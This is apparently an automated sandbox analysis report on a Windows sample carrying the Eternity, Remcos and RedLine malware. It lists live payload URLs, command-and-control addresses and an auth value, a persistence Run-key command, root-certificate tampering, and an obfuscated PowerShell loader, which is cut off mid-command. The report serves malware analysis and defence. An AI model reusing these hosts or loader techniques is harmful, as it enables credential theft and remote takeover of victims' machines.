eternity | e7f968d64655db242cdc6330cf399c3b5e635b63b2ba734d5e2c2eee5986e9be

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
09/11/2022, 19:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5903b4d5a7cbd5816d4a9128cb69570b.exe
Size 1.4MB
Sample221109-x3scwsbec2
SHA256 e7f968d64655db242cdc6330cf399c3b5e635b63b2ba734d5e2c2eee5986e9be
MD5 5903b4d5a7cbd5816d4a9128cb69570b
SHA1 2180d6f65a664f71c85762a3c4c5db7163b66c73
SHA512 86b0b6c80562cfec59b73562ce37bc51cc49521f1e2feca728f172377c9f5b645e8e66dd99756c0aef86dfd1380d71ff2f51fd755839e6f3dcd5f063519a8b40
SSDEEP 24576:9jahaFL5GiByK/RMAs5WHi044+yO0VrVdvGUhdVlfNukuc5WEnzW/GC1eR9rmAzd:9+h2L5GiByK/+Azi04nyrVrnzblfkhgb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

eternity redline remcos remotehost infostealer persistence rat spyware

Malware Config

Extracted

Family

eternity

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Attributes

payload_urls
https://raroford3242.xyz/myupdate.exe

https://raroford3242.xyz/Sklmsstregens.vbs, https://raroford3242.xyz/remcexecrypt.exe, https://raroford3242.xyz/redlcryp.exe, https://raroford3242.xyz/racoocry.exe

https://raroford3242.xyz/myupdate.exe

https://raroford3242.xyz/myupdate.exe

Extracted

Family

remcos

Botnet

RemoteHost

157.90.145.151:1441

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
onhyxlqy.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
gftlbusy-PLYPFW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

redline

157.90.145.151:14075

Attributes

auth_value
197a8d2e248bee4495c3db7cbfdf6d3d

Signatures

Eternity
Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.
eternity
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/224-165-0x0000000000400000-0x0000000000460000-memory.dmp	family_redline

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	516	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
5068	remcexecrypt.exe
4040	redlcryp.exe
2860	racoocry.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows\CurrentVersion\Run	ieinstal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Akkompagnementets = "%tullio% -w 1 $Adiposities=(Get-ItemProperty -Path 'HKCU:\\SOFTWARE\\AppDataLow\\').Zaptoeca134;%tullio% ($Adiposities)"	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3532	powershell.exe
3436	ieinstal.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2592 set thread context of 4736	2592	5903b4d5a7cbd5816d4a9128cb69570b.exe	80
PID 5068 set thread context of 556	5068	remcexecrypt.exe	89
PID 4040 set thread context of 224	4040	redlcryp.exe	92
PID 3532 set thread context of 3436	3532	powershell.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
4936	2592	WerFault.exe	79
4284	5068	WerFault.exe	85
2208	4040	WerFault.exe	86

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	vbc.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d090000000100000042000000304006082b06010505070302060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd67707390b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b660537f000000010000000e000000300c060a2b0601040182370a03047e000000010000000800000000c001b39667d601030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef4240f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d090000000100000042000000304006082b06010505070302060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd67707390b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b660537f000000010000000e000000300c060a2b0601040182370a03047e000000010000000800000000c001b39667d601030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
224	vbc.exe
224	vbc.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4736	vbc.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	224	vbc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
556	vbc.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 4736	2592	5903b4d5a7cbd5816d4a9128cb69570b.exe	80
PID 2592 wrote to memory of 4736	2592	5903b4d5a7cbd5816d4a9128cb69570b.exe	80
PID 2592 wrote to memory of 4736	2592	5903b4d5a7cbd5816d4a9128cb69570b.exe	80
PID 2592 wrote to memory of 4736	2592	5903b4d5a7cbd5816d4a9128cb69570b.exe	80
PID 2592 wrote to memory of 4736	2592	5903b4d5a7cbd5816d4a9128cb69570b.exe	80
PID 4736 wrote to memory of 516	4736	vbc.exe	84
PID 4736 wrote to memory of 516	4736	vbc.exe	84
PID 4736 wrote to memory of 516	4736	vbc.exe	84
PID 4736 wrote to memory of 5068	4736	vbc.exe	85
PID 4736 wrote to memory of 5068	4736	vbc.exe	85
PID 4736 wrote to memory of 5068	4736	vbc.exe	85
PID 4736 wrote to memory of 4040	4736	vbc.exe	86
PID 4736 wrote to memory of 4040	4736	vbc.exe	86
PID 4736 wrote to memory of 4040	4736	vbc.exe	86
PID 4736 wrote to memory of 2860	4736	vbc.exe	87
PID 4736 wrote to memory of 2860	4736	vbc.exe	87
PID 4736 wrote to memory of 2860	4736	vbc.exe	87
PID 5068 wrote to memory of 556	5068	remcexecrypt.exe	89
PID 5068 wrote to memory of 556	5068	remcexecrypt.exe	89
PID 5068 wrote to memory of 556	5068	remcexecrypt.exe	89
PID 5068 wrote to memory of 556	5068	remcexecrypt.exe	89
PID 5068 wrote to memory of 556	5068	remcexecrypt.exe	89
PID 4040 wrote to memory of 224	4040	redlcryp.exe	92
PID 4040 wrote to memory of 224	4040	redlcryp.exe	92
PID 4040 wrote to memory of 224	4040	redlcryp.exe	92
PID 4040 wrote to memory of 224	4040	redlcryp.exe	92
PID 4040 wrote to memory of 224	4040	redlcryp.exe	92
PID 516 wrote to memory of 3532	516	WScript.exe	95
PID 516 wrote to memory of 3532	516	WScript.exe	95
PID 516 wrote to memory of 3532	516	WScript.exe	95
PID 3532 wrote to memory of 3456	3532	powershell.exe	104
PID 3532 wrote to memory of 3456	3532	powershell.exe	104
PID 3532 wrote to memory of 3456	3532	powershell.exe	104
PID 3532 wrote to memory of 3436	3532	powershell.exe	105
PID 3532 wrote to memory of 3436	3532	powershell.exe	105
PID 3532 wrote to memory of 3436	3532	powershell.exe	105
PID 3532 wrote to memory of 3436	3532	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\5903b4d5a7cbd5816d4a9128cb69570b.exe
"C:\Users\Admin\AppData\Local\Temp\5903b4d5a7cbd5816d4a9128cb69570b.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sklmsstregens.vbs"
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:516
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Stormgtighederne = """UndFMeluKonnBencSeltRayiStaoUncnPla RatHottTFreBtil Tro{Des Cou Cur Bum GenpRigaCanrRebaAnnmFrk(Van[SmaSSyntHemrNeaiBicndiagRad]Dkn`$LsiHApsSUnd)Eff;Can Mon fil Fre Ass`$svaBColyKuntmajeKlasGsl udl=Hes GatNHvaeMiswFeu-FugOSatbChajRedeWaycLigtSem UlvbSecyViktForeUnm[mon]Try Ski(Adm`$RtoHPopSSty.PreLNeleBesnUnwgVantExohGte Che/Bet Fje2skr)Wol;Ser Gri Kry Uns BraFMusoSmerAba(udt`$LydiSka=dem0Kur;Nil Non`$HykiMis Bri-BislBovtaut agg`$HvsHCouSuri.LrlLAlkeEpinSitgsprtFrdhOps;Mod Sop`$hjriPhr+Rab=Red2Flo)Uns{Mon Ind Inn Fam Gal Coc Uri Ves Reh`$untBreayBidtTureTidsSpr[Non`$SexiMuc/Sky2Res]Bra Saw=Sam Bek[ishcForoConnsavvErheAdorAittFry]For:Gli:MymTfugoBouBFrayStitKnaeMil(Tip`$SkaHTmhSSek.AreSZyguBelbShasSkitFanrHariDisnrepgRat(Eft`$GaviBar,Hym Fam2ann)Phe,Pri Sne1Ham6Sva)Bra;Stu Hil Mam`$IndBNivyRettBureIsosDre[Gud`$OpsiHyr/For2Gre]bra Sum=Non Val(Gat`$DebBUniyDretPhyeEcmsMis[Obs`$FraiPye/Ana2Ska]Tra Tof-skibEddxAkioSterSta Snu2Afg4Sto4Tra)Dre;Out App Opm Cru Ove}Gri Hou[ClaSRestSurrUnwiFisnDevgAbs]Pre[NonSSouyFozsUdktkreeSnomIro.PlrTTheenewxFortAnv.CauECernArmcMeloFordFoxiBrynSidgBrn]Gyr:Syn:DevABumSLucCSknIGooILas.TalGUnweovatCheSFljtretrRoaiVeknNedgWor(Oxa`$SubbNabyWretRumeNonsRec)Din;Dis}Til`$BuoTParePalrSvimDahipicnOblaRaalHuloJarpPapsDistantnSliiDecntabgWeieNonrSkonErheMon0Bal=PerHPreTfinBSal Tri'GesAFor7beh8EgoDGas8For7Aeg8Aan0Whi9Pho1Une9Lac9MarDEroAPre9qui0Bib9Pos8Keg9Bel8Ide'For;Tem`$MatTEwaeGaarAurmRidiJornUndaAntlFlloMulpRibsLoktVulnSpuiutinBlygTireTherVesnSvmeDis1Spl=TraHSabTOpsBSam Pol'AlkBtri9Ant9HorDFor9Bro7Ben8Ter6Pal9FliBUin8Rea7Sam9FinBTry9And2Lan8Unc0CalDKonAVilANon3For9WinDCir9BicAAenCkri7EroCDet6EmaDForADesACoo1alk9JafANai8Cud7Udr9gyn5Bil9Sem2Isp9Doc1SubBBorACan9Ytt5Gra8Ukr0Rub9PraDPro8Her2Lim9Byr1AdeBPan9ree9Dat1dgn8unh0tip9SprCKab9BuzBCap9uds0ueg8Rea7Slo'Gen;Sol`$mouTTaneHelrRetmPreiStjnTelaManlBogoStapDansAnttbrdnveriBurnSimgUroePudrInsnScyeSkr2Med=ankHHomTPosBVer Ste'DisBRef3Vrk9Akt1Bes8For0ReuARed4Ref8Hus6Ste9CouBUnm9unc7filBPhi5Mat9Stu0Jeb9Clo0Sno8dru6For9Laa1Tam8Rep7try8Ego7Ses'Man;Til`$AgaTUnseThirQuamFemiShanParaforlUngoKompAposChrtPinnDetiabanPadgDeseButrHonnRubeSys3Den=IduHVenTScaBTit mik'SpaALay7Trs8FlsDJur8Hyp7Dks8Sko0Ber9Duo1Cru9Dri9KasDFaiARebABlt6Sej8Dis1Non9AlmADug8Sha0Scr9MoiDUng9Cap9Car9Cho1ScaDDisAAntBNorDEge9GeiAMyr8Ali0Dan9Udt1Afb8Hal6Fej9MasBHiv8Del4IntATro7Non9Afl1Twi8Ira6Uds8Orl2Rib9EmpDCut9Fju7Bug9Ber1Bra8Tok7HalDSmiAUngBLunCHys9Scr5Ind9hurAAwa9Med0Pro9Cyk8Pod9Des1HoaAOvn6Dem9Unc1Paa9Kan2Lsa'Udv;Sty`$PhaTTageUdrrPhamComiSgnnGraaunhlHuloAnapNyrsBratMednudkiKrinTolgHueeAfbrTernRafeFor4Osm=CatHValTSpiBStr Sph'Tox8Kan7Ugl8Org0Nqv8For6Uno9OriDHec9KomABnn9Kon3Age'Bol;Tri`$TreTCeneOverovemBeliUltnDeoaSkilUnuoKompBassAnttSamnBufiEstnReggEkseOverlndnLibeEnc5Enc=ImpHOveTIndBMul Taa'MaxBKva3Cat9Pro1Uni8Non0BlaBSku9Neu9CruBBet9Per0Cha8Sub1San9far8Mes9Pin1UndBRitCBen9Gad5wig9TrrARgn9Vir0Sto9Gre8Bru9All1Bau'Tra;pre`$JorTaebeBekrFlemNariUnbnmyraunslRkeoNonpColsNeutBuknDysiRecnUpwgTyfeGrarKrinAxmeYng6Spe=DiaHbrnTpreBOli Aar'FanAPaa6PilANid0HjeALus7Eur8Str4Zem9Ang1For9How7Sid9TabDOes9Api5Org9Kla8DetBBlkACow9Chu5Kok9Uns9Vin9Bli1IrrDSub8BinDBre4DagBDefCOpt9GedDSmi9Pal0Akt9Jen1ConBHan6Cas8CirDSmoATum7Osm9GhaDPon9Stt3SvaDPas8BarDloc4VisATes4Gru8Tra1Bel9Unr6Tim9Buc8mes9korDEyo9Che7Dop'Spu;Hol`$PosTPraeKamrMi 